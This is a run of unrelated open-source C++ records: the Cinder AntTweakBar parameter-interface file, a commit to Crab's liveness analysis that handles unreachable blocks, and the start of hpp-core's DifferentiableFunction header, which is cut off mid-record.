CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\n TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#include \"cinder\/app\/App.h\"\n#include \"cinder\/params\/Params.h\"\n\n#include \"AntTweakBar.h\"\n\n#include <boost\/assign\/list_of.hpp>\n\nusing namespace std;\n\nnamespace cinder { namespace params {\n\nnamespace {\n\n#define SYNONYM(ck,ak) ((int)cinder::app::KeyEvent::KEY_ ## ck, TW_KEY_ ## ak)\n#define HOMONYM(k) SYNONYM(k,k)\n std::map<int,TwKeySpecial> specialKeys = boost::assign::map_list_of\n HOMONYM(RIGHT)\n HOMONYM(LEFT)\n HOMONYM(BACKSPACE)\n HOMONYM(DELETE)\n HOMONYM(TAB)\n HOMONYM(F1)\n HOMONYM(F2)\n HOMONYM(F3)\n HOMONYM(F4)\n HOMONYM(F5)\n HOMONYM(F6)\n HOMONYM(F7)\n HOMONYM(F8)\n HOMONYM(F9)\n HOMONYM(F10)\n HOMONYM(F11)\n HOMONYM(F12)\n HOMONYM(F13)\n HOMONYM(F14)\n HOMONYM(F15)\n HOMONYM(HOME)\n HOMONYM(END)\n SYNONYM(PAGEUP,PAGE_UP)\n SYNONYM(PAGEDOWN,PAGE_DOWN)\n ;\n#undef SYNONYM\n#undef HOMONYM\n\nbool mouseDown( app::MouseEvent event )\n{\n\tTwMouseButtonID button;\n\tif( event.isLeft() )\n\t\tbutton = TW_MOUSE_LEFT;\n\telse if( event.isRight() )\n\t\tbutton = TW_MOUSE_RIGHT;\n\telse\n\t\tbutton = TW_MOUSE_MIDDLE;\n\treturn TwMouseButton( TW_MOUSE_PRESSED, button ) != 0;\n}\n\nbool mouseUp( app::MouseEvent event )\n{\n\tTwMouseButtonID button;\n\tif( event.isLeft() )\n\t\tbutton = TW_MOUSE_LEFT;\n\telse if( event.isRight() )\n\t\tbutton = TW_MOUSE_RIGHT;\n\telse\n\t\tbutton = TW_MOUSE_MIDDLE;\n\treturn TwMouseButton( TW_MOUSE_RELEASED, button ) != 0;\n}\n\nbool mouseWheel( app::MouseEvent event )\n{\n\tstatic float sWheelPos = 0;\n\tsWheelPos += event.getWheelIncrement();\n\treturn TwMouseWheel( (int)(sWheelPos) ) != 0;\n}\n\nbool mouseMove( app::MouseEvent event )\n{\n\treturn TwMouseMotion( event.getX(), event.getY() ) != 0;\n}\n\nbool keyDown( app::KeyEvent event )\n{\n\tint kmod = 0;\n\tif( event.isShiftDown() )\n\t\tkmod |= TW_KMOD_SHIFT;\n\tif( event.isControlDown() )\n\t\tkmod |= TW_KMOD_CTRL;\n\tif( event.isAltDown() )\n\t\tkmod |= TW_KMOD_ALT;\n\treturn TwKeyPressed(\n (specialKeys.count( event.getCode() ) > 0)\n ? specialKeys[event.getCode()]\n : event.getChar(),\n kmod ) != 0;\n}\n\nbool resize( app::ResizeEvent event )\n{\n\tTwWindowSize( event.getWidth(), event.getHeight() );\n\treturn false;\n}\n\nvoid TW_CALL implStdStringToClient( std::string& destinationClientString, const std::string& sourceLibraryString )\n{\n \/\/ copy strings from the library to the client app\n destinationClientString = sourceLibraryString;\n}\n\nclass AntMgr {\n public:\n\tAntMgr() {\n\t\tif( ! TwInit( TW_OPENGL, NULL ) ) {\n\t\t\tthrow Exception();\n\t\t}\n\t\t\n\t\tapp::App::get()->registerMouseDown( mouseDown );\n\t\tapp::App::get()->registerMouseUp( mouseUp );\n\t\tapp::App::get()->registerMouseWheel( mouseWheel );\t\t\n\t\tapp::App::get()->registerMouseMove( mouseMove );\n\t\tapp::App::get()->registerMouseDrag( mouseMove );\n\t\tapp::App::get()->registerKeyDown( keyDown );\n\t\tapp::App::get()->registerResize( resize );\n\t}\n\t\n\t~AntMgr() {\n\t\tTwTerminate();\n\t}\n};\n\n} \/\/ anonymous namespace\n\nvoid initAntGl()\n{\n\tstatic std::shared_ptr<AntMgr> mgr;\n\tif( ! mgr )\n\t\tmgr = std::shared_ptr<AntMgr>( new AntMgr );\n}\n\n\nInterfaceGl::InterfaceGl( const std::string &title, const Vec2i &size, const ColorA color )\n{\n\tinitAntGl();\n\tmBar = std::shared_ptr<TwBar>( TwNewBar( title.c_str() ), TwDeleteBar );\n\tchar optionsStr[1024];\n\tsprintf( optionsStr, \"`%s` size='%d %d' color='%d %d %d' alpha=%d\", title.c_str(), size.x, size.y, (int)(color.r * 255), (int)(color.g * 255), (int)(color.b * 255), (int)(color.a * 255) );\n\tTwDefine( optionsStr );\n\t\n\tTwCopyStdStringToClientFunc( implStdStringToClient );\n}\n\nvoid InterfaceGl::draw()\n{\n\tTwDraw();\n}\n\nvoid InterfaceGl::show( bool visible )\n{\n\tint32_t visibleInt = ( visible ) ? 1 : 0;\n\tTwSetParam( mBar.get(), NULL, \"visible\", TW_PARAM_INT32, 1, &visibleInt );\n}\n\nvoid InterfaceGl::hide()\n{\n\tint32_t visibleInt = 0;\n\tTwSetParam( mBar.get(), NULL, \"visible\", TW_PARAM_INT32, 1, &visibleInt );\n}\n\nbool InterfaceGl::isVisible() const\n{\n\tint32_t visibleInt;\n\tTwGetParam( mBar.get(), NULL, \"visible\", TW_PARAM_INT32, 1, &visibleInt );\n\treturn visibleInt != 0;\n}\n\nvoid InterfaceGl::implAddParam( const std::string &name, void *param, int type, const std::string &optionsStr, bool readOnly )\n{\n\tif( readOnly )\n\t\tTwAddVarRO( mBar.get(), name.c_str(), (TwType)type, param, optionsStr.c_str() );\n\telse\n\t\tTwAddVarRW( mBar.get(), name.c_str(), (TwType)type, param, optionsStr.c_str() );\n}\n\nvoid InterfaceGl::addParam( const std::string &name, bool *param, const std::string &optionsStr, bool readOnly )\n{\n\timplAddParam( name, param, TW_TYPE_BOOLCPP, optionsStr, readOnly );\n} \n\nvoid InterfaceGl::addParam( const std::string &name, float *param, const std::string &optionsStr, bool readOnly )\n{\n\timplAddParam( name, param, TW_TYPE_FLOAT, optionsStr, readOnly );\n} \n\nvoid InterfaceGl::addParam( const std::string &name, int32_t *param, const std::string &optionsStr, bool readOnly )\n{\n\timplAddParam( name, param, TW_TYPE_INT32, optionsStr, readOnly );\n} \n\nvoid InterfaceGl::addParam( const std::string &name, Vec3f *param, const std::string &optionsStr, bool readOnly )\n{\n\timplAddParam( name, param, TW_TYPE_DIR3F, optionsStr, readOnly );\n} \n\nvoid InterfaceGl::addParam( const std::string &name, Quatf *param, const std::string &optionsStr, bool readOnly )\n{\n\timplAddParam( name, param, TW_TYPE_QUAT4F, optionsStr, readOnly );\n} \n\nvoid InterfaceGl::addParam( const std::string &name, Color *param, const std::string &optionsStr, bool readOnly )\n{\n\timplAddParam( name, param, TW_TYPE_COLOR3F, optionsStr, readOnly );\n} \n\nvoid InterfaceGl::addParam( const std::string &name, ColorA *param, const std::string &optionsStr, bool readOnly )\n{\n\timplAddParam( name, param, TW_TYPE_COLOR4F, optionsStr, readOnly );\n} \n\nvoid InterfaceGl::addParam( const std::string &name, std::string *param, const std::string &optionsStr, bool readOnly )\n{\n\timplAddParam( name, param, TW_TYPE_STDSTRING, optionsStr, readOnly );\n}\n\nvoid InterfaceGl::addParam( const std::string &name, const std::vector<std::string> &enumNames, int *param, const std::string &optionsStr, bool readOnly )\n{\n\tTwEnumVal *ev = new TwEnumVal[enumNames.size()];\n\tfor( size_t v = 0; v < enumNames.size(); ++v ) {\n\t\tev[v].Value = v;\n\t\tev[v].Label = const_cast<char*>( enumNames[v].c_str() );\n\t}\n\n\tTwType evType = TwDefineEnum( (name + \"EnumType\").c_str(), ev, enumNames.size() );\n\n\tif( readOnly )\n\t\tTwAddVarRO( mBar.get(), name.c_str(), evType, param, optionsStr.c_str() );\n\telse\n\t\tTwAddVarRW( mBar.get(), name.c_str(), evType, param, optionsStr.c_str() );\n\t\t\n\tdelete [] ev;\n}\n\nvoid InterfaceGl::addSeparator( const std::string &name, const std::string &optionsStr )\n{\n\tTwAddSeparator( mBar.get(), name.c_str(), optionsStr.c_str() );\n}\n\nvoid InterfaceGl::addText( const std::string &name, const std::string &optionsStr )\n{\n\tTwAddButton( mBar.get(), name.c_str(), NULL, NULL, optionsStr.c_str() );\n}\n\nnamespace { \/\/ anonymous namespace\nvoid TW_CALL implButtonCallback( void *clientData )\n{\n\tstd::function<void ()> *fn = reinterpret_cast<std::function<void ()>*>( clientData );\n\t(*fn)(); \n} \n} \/\/ anonymous namespace\n\nvoid InterfaceGl::addButton( const std::string &name, const std::function<void ()> &callback, const std::string &optionsStr )\n{\n\tstd::shared_ptr<std::function<void ()> > callbackPtr( new std::function<void ()>( callback ) );\n\tmButtonCallbacks.push_back( callbackPtr );\n\tTwAddButton( mBar.get(), name.c_str(), implButtonCallback, (void*)callbackPtr.get(), optionsStr.c_str() );\n}\n\nvoid InterfaceGl::setOptions( const std::string &name, const std::string &optionsStr )\n{\n\tstd::string target = \"`\" + (std::string)TwGetBarName( mBar.get() ) + \"`\";\n\tif( !( name.empty() ) )\n\t\ttarget += \"\/`\" + name + \"`\";\n\n\tTwDefine( ( target + \" \" + optionsStr ).c_str() );\n}\n\n} } \/\/ namespace cinder::params\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n\/* Liveness analysis *\/\n\n\/\/#include <crab\/cfg\/basic_block_traits.hpp>\n#include <crab\/domains\/discrete_domains.hpp>\n#include <crab\/iterators\/killgen_fixpoint_iterator.hpp>\n#include <crab\/support\/debug.hpp>\n#include <crab\/support\/stats.hpp>\n\n#include <boost\/range\/iterator_range.hpp>\n#include <unordered_map>\n\nnamespace crab {\n\nnamespace analyzer {\n\ntemplate <typename V>\nusing varset_domain = ikos::discrete_domain<V>;\n\n\/**\n * Define the main operations for the liveness variable analysis:\n * compute for each basic block the set of live variables, i.e.,\n * variables that might be used in the future\n **\/\ntemplate <class CFG>\nclass liveness_analysis_operations\n : public crab::iterators::killgen_operations_api<\n CFG, varset_domain<typename CFG::variable_t>> {\n\npublic:\n using varset_domain_t = varset_domain<typename CFG::variable_t>;\n using basic_block_label_t = typename CFG::basic_block_label_t;\n\nprivate:\n using parent_type =\n crab::iterators::killgen_operations_api<CFG, varset_domain_t>;\n using binding_t = std::pair<varset_domain_t, varset_domain_t>;\n using liveness_map_t = std::unordered_map<basic_block_label_t, binding_t>;\n\n liveness_map_t m_liveness_map;\n\npublic:\n liveness_analysis_operations(CFG cfg) : parent_type(cfg) {}\n\n virtual bool is_forward() { return false; }\n\n virtual varset_domain_t entry() {\n varset_domain_t res = varset_domain_t::bottom();\n if (this->m_cfg.has_func_decl()) {\n auto fdecl = this->m_cfg.get_func_decl();\n for (unsigned i = 0, e = fdecl.get_num_outputs(); i < e; ++i) {\n res += fdecl.get_output_name(i);\n }\n }\n return res;\n }\n\n virtual varset_domain_t merge(varset_domain_t d1, varset_domain_t d2) {\n return d1 | d2;\n }\n\n virtual void init_fixpoint() {\n for (auto &b :\n boost::make_iterator_range(this->m_cfg.begin(), this->m_cfg.end())) {\n varset_domain_t kill, gen;\n for (auto &s : boost::make_iterator_range(b.rbegin(), b.rend())) {\n auto const &live = s.get_live();\n for (auto d :\n boost::make_iterator_range(live.defs_begin(), live.defs_end())) {\n kill += d;\n gen -= d;\n }\n for (auto u :\n boost::make_iterator_range(live.uses_begin(), live.uses_end())) {\n gen += u;\n }\n }\n m_liveness_map.insert(std::make_pair(b.label(), binding_t(kill, gen)));\n }\n }\n\n virtual varset_domain_t analyze(const basic_block_label_t &bb_id,\n varset_domain_t in) {\n auto it = m_liveness_map.find(bb_id);\n assert(it != m_liveness_map.end());\n in -= it->second.first;\n in += it->second.second;\n return in;\n }\n\n virtual std::string name() { return \"Liveness\"; }\n};\n\n\/** Live variable analysis **\/\ntemplate <typename CFG>\nclass liveness_analysis : public crab::iterators::killgen_fixpoint_iterator<\n CFG, liveness_analysis_operations<CFG>> {\n\n using liveness_analysis_operations_t = liveness_analysis_operations<CFG>;\n using killgen_fixpoint_iterator_t =\n crab::iterators::killgen_fixpoint_iterator<\n CFG, liveness_analysis_operations_t>;\n\n liveness_analysis(const liveness_analysis<CFG> &other) = delete;\n liveness_analysis<CFG> &\n operator=(const liveness_analysis<CFG> &other) = delete;\n\n using basic_block_t = typename CFG::basic_block_t;\n\npublic:\n using basic_block_label_t = typename CFG::basic_block_label_t;\n using statement_t = typename CFG::statement_t;\n using varname_t = typename CFG::varname_t;\n typedef\n typename liveness_analysis_operations_t::varset_domain_t varset_domain_t;\n\nprivate:\n bool m_release_in;\n\npublic:\n liveness_analysis(CFG cfg, bool release_in = true)\n : killgen_fixpoint_iterator_t(cfg), m_release_in(release_in) {}\n\n void exec() {\n this->run();\n\n CRAB_LOG(\"liveness-live\", for (auto p\n : boost::make_iterator_range(\n this->out_begin(), this->out_end())) {\n crab::outs() << basic_block_traits<basic_block_t>::to_string(p.first)\n << \" live variables=\" << p.second << \"\\n\";\n ;\n });\n\n if (m_release_in) {\n this->m_in_map.clear();\n }\n }\n\n varset_domain_t get(const basic_block_label_t &bb) const {\n auto it = this->m_out_map.find(bb);\n if (it != this->m_out_map.end()) {\n return it->second;\n } else {\n return varset_domain_t::bottom();\n }\n }\n\n void write(crab_os &o) const {\n o << \"TODO: print liveness analysis results\\n\";\n }\n};\n\ntemplate <typename CFG>\ninline crab_os &operator<<(crab_os &o, const liveness_analysis<CFG> &l) {\n l.write(o);\n return o;\n}\n\n\/**\n * Live and Dead variable analysis.\n **\/\ntemplate <typename CFG> class live_and_dead_analysis {\npublic:\n using basic_block_label_t = typename CFG::basic_block_label_t;\n using basic_block_t = typename CFG::basic_block_t;\n using statement_t = typename CFG::statement_t;\n using varname_t = typename CFG::varname_t;\n using variable_t = typename CFG::variable_t;\n using varset_domain_t = varset_domain<variable_t>;\n\nprivate:\n using liveness_analysis_t = liveness_analysis<CFG>;\n\n \/\/ the cfg\n CFG m_cfg;\n \/\/ liveness analysis\n std::unique_ptr<liveness_analysis_t> m_live;\n \/\/ precompute dead variables might be expensive so user can choose.\n bool m_ignore_dead;\n \/\/ map basic blocks to set of dead variables at the end of the\n \/\/ blocks\n std::unordered_map<basic_block_label_t, varset_domain_t> m_dead_map;\n\n \/\/ statistics\n unsigned m_max_live;\n unsigned m_total_live;\n unsigned m_total_blocks;\n\npublic:\n \/\/ for backward compatibility\n \/\/ XXX: maybe unused already\n using set_t = varset_domain_t;\n\n \/\/ If ignore_dead is true then dead symbols are not computed.\n live_and_dead_analysis(CFG cfg, bool ignore_dead = false)\n : m_cfg(cfg), m_live(new liveness_analysis_t(m_cfg)),\n m_ignore_dead(ignore_dead), m_max_live(0), m_total_live(0),\n m_total_blocks(0) {}\n\n live_and_dead_analysis(const live_and_dead_analysis &other) = delete;\n\n live_and_dead_analysis &\n operator=(const live_and_dead_analysis &other) = delete;\n\n void exec() {\n m_live->exec();\n if (!m_ignore_dead) {\n crab::ScopedCrabStats __st__(\"Liveness.precompute_dead_variables\");\n \/** Remove dead variables locally **\/\n for (auto &bb : boost::make_iterator_range(m_cfg.begin(), m_cfg.end())) {\n varset_domain_t live_set = m_live->get(bb.label());\n if (live_set.is_bottom())\n continue;\n\n varset_domain_t dead_set = m_cfg.get_node(bb.label()).live();\n \/\/ dead variables = (USE(bb) U DEF(bb)) \\ live_out(bb)\n dead_set -= live_set;\n CRAB_LOG(\"liveness\",\n crab::outs()\n << basic_block_traits<basic_block_t>::to_string(bb.label())\n << \" dead variables=\" << dead_set << \"\\n\";);\n m_dead_map.insert(std::make_pair(bb.label(), std::move(dead_set)));\n \/\/ update statistics\n m_total_live += live_set.size();\n\tif (live_set.size() > m_max_live) {\n\t m_max_live = live_set.size();\n\t}\n m_total_blocks++;\n }\n }\n }\n\n \/\/ Return the set of live variables at the exit of block bb\n varset_domain_t get(const basic_block_label_t &bb) const {\n return m_live->get(bb);\n }\n\n \/\/ Return the set of dead variables at the exit of block bb\n varset_domain_t dead_exit(const basic_block_label_t &bb) const {\n if (m_ignore_dead) {\n CRAB_WARN(\"Dead variables were not precomputed during liveness analysis\");\n }\n auto it = m_dead_map.find(bb);\n if (it == m_dead_map.end()) {\n return varset_domain_t();\n } else {\n return it->second;\n }\n }\n\n void get_stats(unsigned &total_live, unsigned &max_live_per_blk,\n unsigned &avg_live_per_blk) const {\n total_live = m_total_live;\n max_live_per_blk = m_max_live;\n avg_live_per_blk =\n (m_total_blocks == 0 ? 0 : (int)m_total_live \/ m_total_blocks);\n }\n\n void write(crab_os &o) const {\n o << \"TODO: printing dead variable analysis results\\n\";\n }\n};\n\ntemplate <typename CFG>\ninline crab_os &operator<<(crab_os &o, const live_and_dead_analysis<CFG> &l) {\n l.write(o);\n return o;\n}\n\n} \/\/ end namespace analyzer\n} \/\/ end namespace crab\n<commit_msg>refactor(liveness): improve precision is block is unreachable<commit_after>#pragma once\n\n\/* Liveness analysis *\/\n\n\/\/#include <crab\/cfg\/basic_block_traits.hpp>\n#include <crab\/domains\/discrete_domains.hpp>\n#include <crab\/iterators\/killgen_fixpoint_iterator.hpp>\n#include <crab\/support\/debug.hpp>\n#include <crab\/support\/stats.hpp>\n\n#include <boost\/range\/iterator_range.hpp>\n#include <unordered_map>\n\nnamespace crab {\n\nnamespace analyzer {\n\ntemplate <typename V>\nusing varset_domain = ikos::discrete_domain<V>;\n\n\/**\n * Define the main operations for the liveness variable analysis:\n * compute for each basic block the set of live variables, i.e.,\n * variables that might be used in the future\n **\/\ntemplate <class CFG>\nclass liveness_analysis_operations\n : public crab::iterators::killgen_operations_api<\n CFG, varset_domain<typename CFG::variable_t>> {\n\npublic:\n using varset_domain_t = varset_domain<typename CFG::variable_t>;\n using basic_block_label_t = typename CFG::basic_block_label_t;\n\nprivate:\n using parent_type =\n crab::iterators::killgen_operations_api<CFG, varset_domain_t>;\n using binding_t = std::pair<varset_domain_t, varset_domain_t>;\n using liveness_map_t = std::unordered_map<basic_block_label_t, binding_t>;\n \n liveness_map_t m_liveness_map;\npublic:\n liveness_analysis_operations(CFG cfg) : parent_type(cfg) {}\n\n virtual bool is_forward() { return false; }\n\n virtual varset_domain_t entry() {\n varset_domain_t res = varset_domain_t::bottom();\n if (this->m_cfg.has_func_decl()) {\n auto fdecl = this->m_cfg.get_func_decl();\n for (unsigned i = 0, e = fdecl.get_num_outputs(); i < e; ++i) {\n res += fdecl.get_output_name(i);\n }\n }\n return res;\n }\n\n virtual varset_domain_t merge(varset_domain_t d1, varset_domain_t d2) {\n return d1 | d2;\n }\n\n virtual void init_fixpoint() {\n for (auto &b :\n boost::make_iterator_range(this->m_cfg.begin(), this->m_cfg.end())) {\n bool is_unreachable_block = false;\n varset_domain_t kill, gen;\n for (auto &s : boost::make_iterator_range(b.rbegin(), b.rend())) {\n\tif (s.is_unreachable()) {\n\t is_unreachable_block = true;\n\t break;\n\t} \n auto const &live = s.get_live();\n for (auto d :\n boost::make_iterator_range(live.defs_begin(), live.defs_end())) {\n kill += d;\n gen -= d;\n }\n for (auto u :\n boost::make_iterator_range(live.uses_begin(), live.uses_end())) {\n gen += u;\n }\n } \/\/ end for\n if (!is_unreachable_block) {\n\tm_liveness_map.insert(std::make_pair(b.label(), binding_t(kill, gen)));\n }\n } \/\/ end for\n }\n\n virtual varset_domain_t analyze(const basic_block_label_t &bb_id,\n varset_domain_t in) {\n auto it = m_liveness_map.find(bb_id);\n if (it != m_liveness_map.end()) {\n in -= it->second.first;\n in += it->second.second;\n } else {\n \/\/ bb_id is unreachable\n in = varset_domain_t::bottom(); \/\/ empty set (i.e., no live variables)\n } \n return in;\n }\n\n virtual std::string name() { return \"Liveness\"; }\n};\n\n\/** Live variable analysis **\/\ntemplate <typename CFG>\nclass liveness_analysis : public crab::iterators::killgen_fixpoint_iterator<\n CFG, liveness_analysis_operations<CFG>> {\n\n using liveness_analysis_operations_t = liveness_analysis_operations<CFG>;\n using killgen_fixpoint_iterator_t =\n crab::iterators::killgen_fixpoint_iterator<\n CFG, liveness_analysis_operations_t>;\n\n liveness_analysis(const liveness_analysis<CFG> &other) = delete;\n liveness_analysis<CFG> &\n operator=(const liveness_analysis<CFG> &other) = delete;\n\n using basic_block_t = typename CFG::basic_block_t;\n\npublic:\n using basic_block_label_t = typename CFG::basic_block_label_t;\n using statement_t = typename CFG::statement_t;\n using varname_t = typename CFG::varname_t;\n typedef\n typename liveness_analysis_operations_t::varset_domain_t varset_domain_t;\n\nprivate:\n bool m_release_in;\n\npublic:\n liveness_analysis(CFG cfg, bool release_in = true)\n : killgen_fixpoint_iterator_t(cfg), m_release_in(release_in) {}\n\n void exec() {\n this->run();\n\n CRAB_LOG(\"liveness-live\", for (auto p\n : boost::make_iterator_range(\n this->out_begin(), this->out_end())) {\n crab::outs() << basic_block_traits<basic_block_t>::to_string(p.first)\n << \" OUT live variables=\" << p.second << \"\\n\";\n ;\n });\n\n if (m_release_in) {\n this->m_in_map.clear();\n }\n }\n\n varset_domain_t get(const basic_block_label_t &bb) const {\n auto it = this->m_out_map.find(bb);\n if (it != this->m_out_map.end()) {\n return it->second;\n } else {\n return varset_domain_t::bottom();\n }\n }\n\n void write(crab_os &o) const {\n o << \"TODO: print liveness analysis results\\n\";\n }\n};\n\ntemplate <typename CFG>\ninline crab_os &operator<<(crab_os &o, const liveness_analysis<CFG> &l) {\n l.write(o);\n return o;\n}\n\n\/**\n * Live and Dead variable analysis.\n **\/\ntemplate <typename CFG> class live_and_dead_analysis {\npublic:\n using basic_block_label_t = typename CFG::basic_block_label_t;\n using basic_block_t = typename CFG::basic_block_t;\n using statement_t = typename CFG::statement_t;\n using varname_t = typename CFG::varname_t;\n using variable_t = typename CFG::variable_t;\n using varset_domain_t = varset_domain<variable_t>;\n\nprivate:\n using liveness_analysis_t = liveness_analysis<CFG>;\n\n \/\/ the cfg\n CFG m_cfg;\n \/\/ liveness analysis\n std::unique_ptr<liveness_analysis_t> m_live;\n \/\/ precompute dead variables might be expensive so user can choose.\n bool m_ignore_dead;\n \/\/ map basic blocks to set of dead variables at the end of the\n \/\/ blocks\n std::unordered_map<basic_block_label_t, varset_domain_t> m_dead_map;\n\n \/\/ statistics\n unsigned m_max_live;\n unsigned m_total_live;\n unsigned m_total_blocks;\n\npublic:\n \/\/ for backward compatibility\n \/\/ XXX: maybe unused already\n using set_t = varset_domain_t;\n\n \/\/ If ignore_dead is true then dead symbols are not computed.\n live_and_dead_analysis(CFG cfg, bool ignore_dead = false)\n : m_cfg(cfg), m_live(new liveness_analysis_t(m_cfg)),\n m_ignore_dead(ignore_dead), m_max_live(0), m_total_live(0),\n m_total_blocks(0) {}\n\n live_and_dead_analysis(const live_and_dead_analysis &other) = delete;\n\n live_and_dead_analysis &\n operator=(const live_and_dead_analysis &other) = delete;\n\n void exec() {\n m_live->exec();\n if (!m_ignore_dead) {\n crab::ScopedCrabStats __st__(\"Liveness.precompute_dead_variables\");\n \/** Remove dead variables locally **\/\n for (auto &bb : boost::make_iterator_range(m_cfg.begin(), m_cfg.end())) {\n varset_domain_t live_set = m_live->get(bb.label());\n if (live_set.is_bottom())\n continue;\n\n varset_domain_t dead_set = m_cfg.get_node(bb.label()).live();\n \/\/ dead variables = (USE(bb) U DEF(bb)) \\ live_out(bb)\n dead_set -= live_set;\n CRAB_LOG(\"liveness\",\n crab::outs()\n << basic_block_traits<basic_block_t>::to_string(bb.label())\n << \" dead variables=\" << dead_set << \"\\n\";);\n m_dead_map.insert(std::make_pair(bb.label(), std::move(dead_set)));\n \/\/ update statistics\n m_total_live += live_set.size();\n\tif (live_set.size() > m_max_live) {\n\t m_max_live = live_set.size();\n\t}\n m_total_blocks++;\n }\n }\n }\n\n \/\/ Return the set of live variables at the exit of block bb\n varset_domain_t get(const basic_block_label_t &bb) const {\n return m_live->get(bb);\n }\n\n \/\/ Return the set of dead variables at the exit of block bb\n varset_domain_t dead_exit(const basic_block_label_t &bb) const {\n if (m_ignore_dead) {\n CRAB_WARN(\"Dead variables were not precomputed during liveness analysis\");\n }\n auto it = m_dead_map.find(bb);\n if (it == m_dead_map.end()) {\n return varset_domain_t();\n } else {\n return it->second;\n }\n }\n\n void get_stats(unsigned &total_live, unsigned &max_live_per_blk,\n unsigned &avg_live_per_blk) const {\n total_live = m_total_live;\n max_live_per_blk = m_max_live;\n avg_live_per_blk =\n (m_total_blocks == 0 ? 0 : (int)m_total_live \/ m_total_blocks);\n }\n\n void write(crab_os &o) const {\n o << \"TODO: printing dead variable analysis results\\n\";\n }\n};\n\ntemplate <typename CFG>\ninline crab_os &operator<<(crab_os &o, const live_and_dead_analysis<CFG> &l) {\n l.write(o);\n return o;\n}\n\n} \/\/ end namespace analyzer\n} \/\/ end namespace crab\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2014 CNRS\n\/\/ Authors: Florent Lamiraux\n\/\/\n\/\/ This file is part of hpp-core\n\/\/ hpp-core is free software: you can redistribute it\n\/\/ and\/or modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation, either version\n\/\/ 3 of the License, or (at your option) any later version.\n\/\/\n\/\/ hpp-core is distributed in the hope that it will be\n\/\/ useful, but WITHOUT ANY WARRANTY; without even the implied warranty\n\/\/ of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ General Lesser Public License for more details. You should have\n\/\/ received a copy of the GNU Lesser General Public License along with\n\/\/ hpp-core If not, see\n\/\/ <http:\/\/www.gnu.org\/licenses\/>.\n\n#ifndef HPP_CORE_DIFFERENTIABLE_FUNCTION_HH\n# define HPP_CORE_DIFFERENTIABLE_FUNCTION_HH\n\n# include <boost\/algorithm\/string\/replace.hpp>\n# include <roboptim\/core\/indent.hh>\n# include <hpp\/core\/fwd.hh>\n\nnamespace hpp {\n namespace core {\n \/\/\/ Differentiable function of the robot configuration\n class DifferentiableFunction\n {\n public:\n virtual ~DifferentiableFunction () {}\n \/\/\/ Evaluate the function at a given parameter.\n \/\/\/\n \/\/\/ \\note parameters should be of the correct size.\n void operator () (vectorOut_t result,\n\t\t\tConfigurationIn_t argument) const\n {\n\tassert (result.size () == outputSize ());\n\tassert (argument.size () == inputSize ());\n\timpl_compute (result, argument);\n }\n \/\/\/ Computes the jacobian.\n \/\/\/\n \/\/\/ \\retval jacobian jacobian will be stored in this argument\n \/\/\/ \\param argument point at which the jacobian will be computed\n void jacobian (matrixOut_t jacobian, ConfigurationIn_t argument) const\n {\n\tassert (argument.size () == inputSize ());\n\tassert (jacobian.rows () == outputSize ());\n\tassert (jacobian.cols () == inputDerivativeSize ());\n\timpl_jacobian (jacobian, argument);\n }\n\n \/\/\/ Get dimension of input vector\n size_type inputSize () const\n {\n\treturn inputSize_;\n }\n \/\/\/ Get dimension of input derivative vector\n \/\/\/\n \/\/\/ The dimension of configuration vectors might differ from the dimension\n \/\/\/ of velocity vectors since some joints are represented by non minimal\n \/\/\/ size vectors: e.g. quaternion for SO(3)\n size_type inputDerivativeSize () const\n {\n\treturn inputDerivativeSize_;\n }\n \/\/\/ Get dimension of output vector\n size_type outputSize () const\n {\n\treturn outputSize_;\n }\n \/\/\/ \\brief Get function name.\n \/\/\/\n \/\/\/ \\return Function name.\n const std::string& name () const\n {\n\treturn name_;\n }\n\n \/\/\/ Display object in a stream\n virtual std::ostream& print (std::ostream& o) const\n {\n\tif (this->name ().empty ())\n\t return o << \"Differentiable function\";\n\n\tstd::stringstream ss;\n\tss << std::endl;\n\tchar fill = o.fill (' ');\n\tss << std::setw ((int)roboptim::indent (o))\n\t << \"\"\n\t << std::setfill (fill);\n\tstd::string name = this->name ();\n\tboost::algorithm::replace_all (name, \"\\n\", ss.str ());\n\n\treturn o << name << \" (differentiable function)\";\n }\n\n \/\/\/ Check whether this function is parametric.\n \/\/\/ \\return True if parametric.\n bool isParametric () const\n {\n return isParametric_;\n }\n\n \/\/\/ Make the function parametric or non-parametric.\n \/\/\/ \\param value True if you want a parametric projector.\n \/\/\/ \\note When change from true to false, the level set parameters of any\n \/\/\/ ConfigProjector containing the function should be recomputed using\n \/\/\/ ConfigProjector::offset.\n void isParametric (const bool& value)\n {\n isParametric_ = value;\n }\n\n protected:\n \/\/\/ \\brief Concrete class constructor should call this constructor.\n \/\/\/\n \/\/\/ \\param inputSize function arity\n \/\/\/ \\param outputSize result size\n \/\/\/ \\param name function's name\n DifferentiableFunction (size_type inputSize,\n\t\t\t size_type inputDerivativeSize,\n\t\t\t size_type outputSize,\n\t\t\t std::string name = std::string ()) :\n\tinputSize_ (inputSize), inputDerivativeSize_ (inputDerivativeSize),\n\toutputSize_ (outputSize), isParametric_ (false), name_ (name)\n {\n }\n\n \/\/\/ User implementation of function evaluation\n virtual void impl_compute (vectorOut_t result,\n\t\t\t\t ConfigurationIn_t argument) const = 0;\n\n virtual void impl_jacobian (matrixOut_t jacobian,\n\t\t\t\t ConfigurationIn_t arg) const = 0;\n\n private:\n \/\/\/ Dimension of input vector.\n size_type inputSize_;\n \/\/\/ Dimension of input derivative\n size_type inputDerivativeSize_;\n \/\/\/ Dimension of output vector\n size_type outputSize_;\n \/\/\/ Whether this function is parametric\n bool isParametric_;\n std::string name_;\n }; \/\/ class DifferentiableFunction\n inline std::ostream&\n operator<< (std::ostream& os, const DifferentiableFunction& f)\n {\n return f.print (os);\n }\n } \/\/ namespace core\n} \/\/ namespace hpp\n\n\n#endif \/\/ HPP_CORE_DIFFERENTIABLE_FUNCTION_HH\n<commit_msg>Add passive 